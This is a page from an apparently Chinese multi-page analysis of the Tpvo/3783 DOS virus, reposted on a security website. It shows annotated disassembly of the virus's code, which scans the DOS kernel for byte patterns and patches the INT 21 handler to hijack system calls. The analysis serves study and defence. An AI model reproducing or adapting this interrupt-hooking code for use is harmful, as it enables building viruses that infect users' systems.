Tpvo/3783 病毒的分析和防治

• F6C8:0396 E99D00　　　　JMP　　 0436 ;转 0399, 否则退出
  F6C8:0399 0E　　　　　　PUSH　　CS
  F6C8:039A 1F　　　　　　POP　　 DS
  F6C8:039B A33101　　　　MOV　　 [0131],AX
  F6C8:039E C606C00DEB　　MOV　　 BYTE PTR [0DC0],EB
  F6C8:03A3 C6060401EB　　MOV　　 BYTE PTR [0104],EB
  F6C8:03A8 C4063A04　　　LES　　 AX,[043A]
  F6C8:03AC 8EDE　　　　　MOV　　 DS,SI
  F6C8:03AE A3A800　　　　MOV　　 [00A8],AX
  F6C8:03B1 8C06AA00　　　MOV　　 [00AA],ES ;恢复原 INT 2A 中断向量
  F6C8:03B5 8BEC　　　　　MOV　　 BP,SP
  F6C8:03B7 8E5E16　　　　MOV　　 DS,[BP+16] ;调用代码段
  F6C8:03BA 83FE80　　　　CMP　　 SI,-80 ;为 INT 21 的代码段
  F6C8:03BD 7777　　　　　JA　　　0436
  F6C8:03BF AC　　　　　　LODSB　
  F6C8:03C0 3C2E　　　　　CMP　　 AL,2E ;找 2E 8B 9F xx xx
  F6C8:03C2 75F6　　　　　JNZ　　 03BA ;即 MOV BX,CS:[BX+xxxx]
  F6C8:03C4 AD　　　　　　LODSW　
  F6C8:03C5 3D8B9F　　　　CMP　　 AX,9F8B
  F6C8:03C8 75F0　　　　　JNZ　　 03BA
  F6C8:03CA AD　　　　　　LODSW　 ;此地址为 INT 21 功能=>子程序
  F6C8:03CB 2E　　　　　　CS: ;转换表基址
  F6C8:03CC A35111　　　　MOV　　 [1151],AX ;保存地址于 1151
  F6C8:03CF B93000　　　　MOV　　 CX,0030
  F6C8:03D2 4E　　　　　　DEC　　 SI
  F6C8:03D3 AD　　　　　　LODSW　
  F6C8:03D4 3D871E　　　　CMP　　 AX,1E87 ;找 87 1E (XCHG BX,SS:[xxxx])
  F6C8:03D7 E0F9　　　　　LOOPNE　03D2
  F6C8:03D9 E3DF　　　　　JCXZ　　03BA
  F6C8:03DB AD　　　　　　LODSW　
  F6C8:03DC 2E　　　　　　CS:
  F6C8:03DD A35311　　　　MOV　　 [1153],AX ;调用 INT 21 子功能地址
  F6C8:03E0 46　　　　　　INC　　 SI ;找 36 FF 16 xx xx
  F6C8:03E1 813C36FF　　　CMP　　 WORD PTR [SI],FF36
  F6C8:03E5 E0F9　　　　　LOOPNE　03E0 ;即 CALL SS:[xxxx]
  F6C8:03E7 E3D1　　　　　JCXZ　　03BA
  F6C8:03E9 807C0216　　　CMP　　 BYTE PTR [SI+02],16
  F6C8:03ED 75F1　　　　　JNZ　　 03E0
  F6C8:03EF 394403　　　　CMP　　 [SI+03],AX ;将 CALL SS:[xxxx]
  F6C8:03F2 75EC　　　　　JNZ　　 03E0 ;改为 CALL CS:053D
  F6C8:03F4 C6049A　　　　MOV　　 BYTE PTR [SI],9A ;截取新 INT 21
  F6C8:03F7 C744013D05　　MOV　　 WORD PTR [SI+01],053D ;到 CS:053D
  
• 上一页 [1] [2] [3] [4] [5] [6] [7] [8] [9] [10] [11] [12] [13] [14] [15] [16] [17] [18] [19] [20] [21] [22] [23] [24] [25] [26] [27] [28] [29] [30] [31] [32] [33] [34] [35] [36] [37] [38] [39] [40] [41] [42] 下一页 
• 复制本页网址和标题，发送给你QQ/Msn的好友一起分享
  
  
• Tpvo/3783 病毒的分析和防治 相关文章：
• ·系统漏洞的形成和防治办法
• ·减治法：C#实现插入排序实例
• ·网络工程师讲解系统安全漏洞的形成和防治
• ·李治国：急躁公司做不了分类信息
• ·网络工程师教您防治常见网络攻击
• ·通过Rational的工具来实现SOA治理
• ·利用Mcafee根治Viking 威金病毒
• ·理清SOA治理中的架构师角色
• ·VeryCD:迅雷增强共享机制说治标不治本
• ·巧妙设置系统 轻松防治邮件病毒
• Tpvo/3783 病毒的分析和防治 相关软件
• ·《资治通鉴》注释版（全五册）
• ·贞观之治
• ·本殖民统治台湾五十年史
• ·《常见皮肤性病诊断与治疗》
• ·福赛斯经典政治惊险小说《豺狼的日子》
• ·《威权统治下的中国现状与前景》
• ·新疆好地方－庆祝新疆自治区50周年摄影集
• ·统治世界2
• ·曾胡治兵语录
• ·佐治药言

上一篇:UNIX系统上实现拨号

下一篇:网络资源的列举

• 特别声明：本站除部分特别声明禁止转载的专稿外的其他文章可以自由转载，但请务必注明出处和原始作
• 者.文章版权归文章原始作者所有.对于被本站转载文章的个人和网站，我们表示深深的谢意。如果本站转
• 载的文章有版权问题请联系编辑人员,我们尽快予以更正. 转载请注明来源：http://www.hackhome.com

精品推荐

热点TOP10

特别推荐